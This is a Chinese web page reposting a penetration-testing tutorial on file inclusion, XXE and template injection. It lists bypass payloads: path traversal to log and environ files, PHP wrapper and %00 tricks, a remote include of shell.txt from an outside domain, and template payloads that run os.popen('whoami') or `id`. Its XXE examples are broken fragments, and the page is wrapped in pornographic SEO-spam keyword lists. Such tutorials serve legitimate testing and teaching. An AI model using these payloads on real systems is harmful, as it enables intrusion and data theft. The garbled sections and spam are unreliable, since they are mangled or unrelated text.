少妇被粗黑进进出出在线观看_日日摸夜夜爽无码_免费久久_日韩免费视频_热播短剧玫瑰冠冕免费观看_japanese精品少妇

網站滲透測試 對文件包含注入檢測辦法
  • 更新時間:2025-05-13 02:25:25
  • 開發經驗
  • 發布時間:3年前
  • 689

昨天給大家普及到了滲透測試中執行命令漏洞的檢測方法,今天抽出時間由我們Sine安全的滲透工程師來講下遇到文件包含漏洞以及模板注入漏洞的檢測方法和防御手段,本文僅參考給有授權滲透測試的正規安全檢測的客戶,讓更多的客戶了解到具體測試的內容,是如何進行全面的網站安全測試。


3.8. 文件包含

3.8.1. 基礎

常見的文件包含漏洞的形式為

考慮常用的幾種包含方式為

同目錄包含 file=.htaccess

目錄遍歷 ?file=../../../../../../../../../var/lib/locate.db

日志注入 ?file=../../../../../../../../../var/log/apache/error.log

利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多種日志來源測試

3.8.2. 繞過技巧

常見的應用在文件包含之前,可能會調用函數對其進行判斷,一般有如下幾種繞過方式

3.8.2.1. url編碼繞過

如果WAF中是字符串匹配,可以使用url多次編碼的方式可以繞過

3.8.2.2. 特殊字符繞過

某些情況下,讀文件支持使用Shell通配符,如 ? * 等

url中 使用 ? # 可能會影響include包含的結果

某些情況下,unicode編碼不同但是字形相近的字符有同一個效果

3.8.2.3. %00截斷

幾乎是最常用的方法,條件是magic_quotes_gpc打開,而且php版本小于5.3.4。

3.8.2.4. 長度截斷

Windows上的文件名長度和文件路徑有關。具體關系為:從根目錄計算,文件路徑長度最長為259個bytes。

msdn定義“`#define MAX_PATH 260“`,第260個字符為字符串結尾的“`0“`

linux可以用getconf來判斷文件名長度限制和文件路徑長度限制

獲取最長文件路徑長度:getconf PATH_MAX /root 得到4096 獲取最長文件名:getconf NAME_MAX /root 得到255

那么在長度有限的時候,`././././` (n個) 的形式就可以通過這個把路徑爆掉

在php代碼包含中,這種繞過方式要求php版本 < php 5.2.8

3.8.2.5. 偽協議繞過

遠程包含: 要求 allow_url_fopen=On and allow_url_include=On , payload為 ?file=[http|https|ftp]://域名/shell.txt

PHP INPUT: 把payload放在POST參數中作為包含的文件,要求 allow_url_include=On ,payload為 ?file=php://input

: 使用偽協議讀取文件,payload為 ?file=php://filter/convert.-encode/resource=index.php

DATA: 使用data偽協議讀取文件,payload為 ?file=data://text/plain;,SSBsb3ZlIFBIUAo= 要求 allow_url_include=On

3.9. XXE

3.9.1. XML基礎

XML 指可擴展標記語言(eXtensible Markup Language),是一種用于標記電子文件使其具有結構性的標記語言,被設計用來傳輸和存儲數據。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。目前,XML文件作為配置文件(Spring、Struts2等)、文檔結構說明文件(PDF、RSS等)、圖片格式文件(SVG header)應用比較廣泛。

3.9.2. XXE

當允許引用外部實體時,可通過構造惡意的XML內容,導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等后果。一般的XXE攻擊,只有在服務器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取服務器端文件,但是也可以通過Blind XXE的方式實現攻擊。

3.9.3. 攻擊方式

3.9.3.1. 拒絕服務攻擊

]>

&a2;

若解析過程非常緩慢,則表示測試成功,目標站點可能有拒絕服務漏洞。具體攻擊可使用更多層的迭代或遞歸,也可引用巨大的外部實體,以實現攻擊的效果。

3.9.3.2. 文件讀取

]>

&file;

3.9.3.3. SSRF

]>

4

3.9.3.4. RCE

]>

&xxe;

3.9.3.5. XInclude

3.10 模板注入漏洞

3.10. 模版注入

3.10.1. 簡介

模板引擎用于使用動態數據呈現內容。此上下文數據通常由用戶控制并由模板進行格式化,以生成網頁、電子郵件等。模板引擎通過使用代碼構造(如條件語句、循環等)處理上下文數據,允許在模板中使用強大的語言表達式,以呈現動態內容。如果攻擊者能夠控制要呈現的模板,則他們將能夠注入可暴露上下文數據,甚至在服務器上運行任意命令的表達式。

3.10.2. 測試方法

確定使用的引擎

查看引擎相關的文檔,確定其安全機制以及自帶的函數和變量

需找攻擊面,嘗試攻擊

3.10.3. 測試用例

簡單的數學表達式,{{ 7+7 }} => 14

字符串表達式 {{ "ajin" }} => ajin

Ruby

Java

${7*7}

Twig

{{7*7}}

Smarty

{php}echo `id`;{/php}

AngularJS

$eval('1+1')

Tornado

引用模塊 {% import module %}

=> {% import os %}{{ os.popen("whoami").read() }}

Flask/Jinja2

{{ config.items() }}

{{''.__class__.__mro__[-1].__subclasses__()}}

Django

{{ request }}

{% debug %}

{% load module %}

{% include "x.html" %}

{% extends "x.html" %}

3.10.4. 目標

創建對象

文件讀寫

遠程文件包含

信息泄漏 提權

3.10.5. 相關屬性

3.10.5.1. __class__

python中的新式類(即顯示繼承object對象的類)都有一個屬性 __class__ 用于獲取當前實例對應的類,例如 "".__class__ 就可以獲取到字符串實例對應的類

3.10.5.2. __mro__

python中類對象的 __mro__ 屬性會返回一個tuple對象,其中包含了當前類對象所有繼承的基類,tuple中元素的順序是MRO(Method Resolution Order) 尋找的順序。

3.10.5.3. __globals__

保存了函數所有的所有全局變量,在利用中,可以使用 __init__ 獲取對象的函數,并通過 __globals__ 獲取 file os 等模塊以進行下一步的利用

3.10.5.4. __subclasses__()

python的新式類都保留了它所有的子類的引用,__subclasses__() 這個方法返回了類的所有存活的子類的引用(是類對象引用,不是實例)。

因為python中的類都是繼承object的,所以只要調用object類對象的 __subclasses__() 方法就可以獲取想要的類的對象。這一節滲透測試講到的這些內容和繞過手法,如果對自己網站不太放心的話可以找專業的網站安全公司來處理解決,國內做的比較好的如Sinesafe,綠盟,啟明星辰等等。

我們專注高端建站,小程序開發、軟件系統定制開發、BUG修復、物聯網開發、各類API接口對接開發等。十余年開發經驗,每一個項目承諾做到滿意為止,多一次對比,一定讓您多一份收獲!

本文章出于推來客官網,轉載請表明原文地址:https://www.tlkjt.com/experience/7582.html
推薦文章

在線客服

掃碼聯系客服

3985758

回到頂部

主站蜘蛛池模板: 久久精品动漫一区二区三区_日本成人免费在线视频_欧美nikkibenz办公室hd_国产精品亚洲综合一区_精品升子伦一区二区三区_国产交换配偶在线视频 | 波多野结衣中文在线_丰满多毛少妇做爰视频爽爽和R_91精品毛片_国产精品对白久久久久粗_蜜桃影片在线播放网站免费观看_疯狂做受ⅩⅩⅩⅩ高潮高清视频 | 欧美成人性生活视频_婷婷丁香五月激情综合_www在线视频_亚洲AV永久无码精品一福利_麻豆乱码1区2区新区_男人天堂日韩 | 国产婷婷激情综合三区_国产视频亚洲一区_精品九九久久_国产网色_天堂色在线_www.在线观看麻豆 | 国产欧美在线亚洲一区_亚洲精品手机在线_粉嫩高清一区二区三区_免费av资源网站_国产国拍精品_亚洲男人的天堂在线视频 | 久久黄色成人_国产91视频免费_伊人久久大香线蕉综合影院_密臀久久_奶头好大揉着好爽视频午夜院_一级全黄色毛片 | 玩弄少妇高潮ⅹxxxyw_国产精品无码无片在线观看3D_av网站在线播放_樱花草视频WWW_妖精视频亚洲欧美日韩美女_欧美综合在线观看 | 久久久久亚洲AV成人片乱码_成人无码区免费a片视频_中国熟女仑乱hd_亚洲a一级视频_古装A级野外爱做片视频_办公室娇喘的短裙老师 | 天天爱夜夜操_成年人在线免费播放_日本你懂的_两个女人互添下身视频在线观看_日日摸天天摸人人看_日韩精品免费在线 | 国产久RE热视频_肉色超薄丝袜脚交一区二区_欧美区一区二区三区_夜夜操天天_欧美大片一区二区_精品人妻系列无码一区二区 | 深夜视频免费观看_97SE亚洲综合自在线_亚洲AV片无码久久五月_国产精品视频久久看_一级s片_久久99精品久久久久久青青91 | 亚洲国产欧美日韩在线_不卡中文字幕在线5_亚洲国产精品视频在线观看_在病房里和护士啪啪_日本黄a_东北女人啪啪对白 | 国产ā片在线观看免费观看_欧美韩日视频_水蜜桃无码视频在线观看_日日噜噜噜夜夜爽爽狠狠视频_亚洲精品卡2卡3卡4卡乱码_不卡av免费看 | 日韩女同互慰一区二区_八戒午夜福利啪啪影视_天天搞av_在线中文字幕一区二区精品区_亚洲一区成人在线_69热视频 | 国产精品18久久久久白浆_国产精品主播一区二区三区_色的视频网站_亚洲AV无码专区国产不卡顿_男生操女生的免费视频_激情综合一区二区迷情校园 | 亚洲激情网站_亚洲首页_国产麻豆福利av在线播放_特级a级毛片_国产精品A∨一区二区三区_精品国产视频 | 国内露脸互换人妻_成年人黄色大片大全_国产SUV精二区九色_av逼逼_第一页综合_性欧洲黑人巨大videos | 黄网免费入口_国产露脸女上位在线视频_午夜亚洲国产理论片4080_91精品久久久久久_亚洲成av人在线观看网址_成年片在线观看 | 国产三级在线播放_丁香五月激情综合国产_在线观看国产丝袜控网站_国产一区h_欧美最猛性xxxxx免费_女同亚洲精品一区二区三 亚洲成人夜色_女同一区_成人av日韩_十八女人毛片_成人免费超碰_x8x8拨牐拨牐x8免费视频8午夜 | 老妇女人一级毛片_黄色av免费看_日韩jizz_一级性大片_欧美人一级淫片a免费播放_欧美日韩一区二区三区在线观看 | 夜夜夜操操操_亚洲综合无码AV一区二区三区_56pao在线_成x99人av在线www_av水蜜桃_国产成人拍精品视频午夜网站 | 男人扒女人添高潮视频_免费一二二区视频_最新久久免费视频_国产自拍在线_日本中文在线播放_久久精品视频8 | 噜噜吧噜噜色95_日韩欧美中文字幕在线视频_亚洲AV日韩AV无码蜜臀AV_337p粉嫩大胆色噜噜噜噜亚洲_国产成人在线综合_中日韩欧美一级片 | 成人未满十八无毛片_国产一二三区不卡_国产小视频自拍_91深夜视频_国产成人资源_操女人免费网站 | 国产免费无遮挡在线观看视频_在线观看视频二区_中文字幕第十一页_国产精品成人片在线观看_www.91成人_国产成人亚洲综合色婷婷秒播 | 成人乱淫av日日摸夜夜_中文字幕日本不卡_免费视频在线视频_久久这里有精品15一区二区三区_成人午夜免费福利视频_国产精品1区2区在线观看 | 99探花在线观看_欧美日韩中文_国内a级一片免费av_亚洲春色无码Av不卡久久_国内成人免费视频_东京热456大交乱高清视频 | 性色AV无码专区一ⅤA亚洲_精品人妻无码一区二区三区绿_中文字幕在线精品视频入口一区_国产成人免费9x9x人网站视频_超碰成人福利_久久草精品 | 欧美又粗又猛又爽的免费网站_九九影视香蕉_人人爱国产_婷婷狠狠干_cosplay福利禁视频免费观看_亚洲av天海翼一级毛片 | 国产农村妇女一级毛片_国产1区2区在线_天天操天天摸天天爽_一级欧美视频_久在线视频_免费在线观看电视网站 | 四虎影院免费观看_欧洲在线视频_精品伊人久久97_一二区精品_久久午夜精品视频_视频国产区 | 97久久超碰亚洲视觉盛宴_黄色网页网址在线免费_日本无乱码高清在线观看_夜夜高潮夜夜爽国产伦精品_精品国产午夜福利在线观看_91免费入口 | 欧美日韩亚洲国产_久久99精品久久久久婷婷暖91_av青青_国产精品看高国产精品不卡_国产青青在线视频_亚洲av永久无码天堂网 | 91精品91久久久久久_a在线一区_性迷宫在线播放_欧美在线视频一二三区_久久99精品国产自在现线_久久精品超碰 | 在线观看视频精品_1313午夜精品理论片蜜桃网_国产另类在线视频_美女张开腿让男人视频_国产性爱自拍av_亚洲永久精品免费www | 1级黄色录像_在线久热_久久午夜精品一区二区_91新人在线观看_免费观看国产视频_肉色丝袜足j视频国产 | 亚洲中文字幕精品久久久久久动漫_131美女视频黄的免费_激情久久一区二区_国产色情老熟女NBA控卫之神_午夜黄色福利视频_无码人妻一区二区三区线 | gogo全球大胆高清人露出91_欧美日韩高清在线一区_国产99久久九九精品的功能介绍_青春草在线免费视频_香蕉久久夜色精品国产使用方法_久久成人免费视频 | 九九九网站_虚拟VR一区二区三区_国产天堂网一区二区三区_一区二区免费网站_亚洲av无码一区二区一二区_国产成人免费播放 | 青青草国内自拍_久久日本精品字幕区二区_久久久久久婷_国产熟睡乱子伦午夜视频_孩交VIDEOS精品乱子_日本无码久久久久久久 女人毛片_国产人妖XXXX做受视频_久久成年网_国产精品资源_精品国产免费观看_麻豆亚洲AV熟女国产一区二 | 最新版天堂中文在线官网_久久91精品国产91久久yfo_日本视频免费高清一本18_亚洲中文字幕精品级在线_色七七亚洲_18禁超污无遮挡无码免费应用 |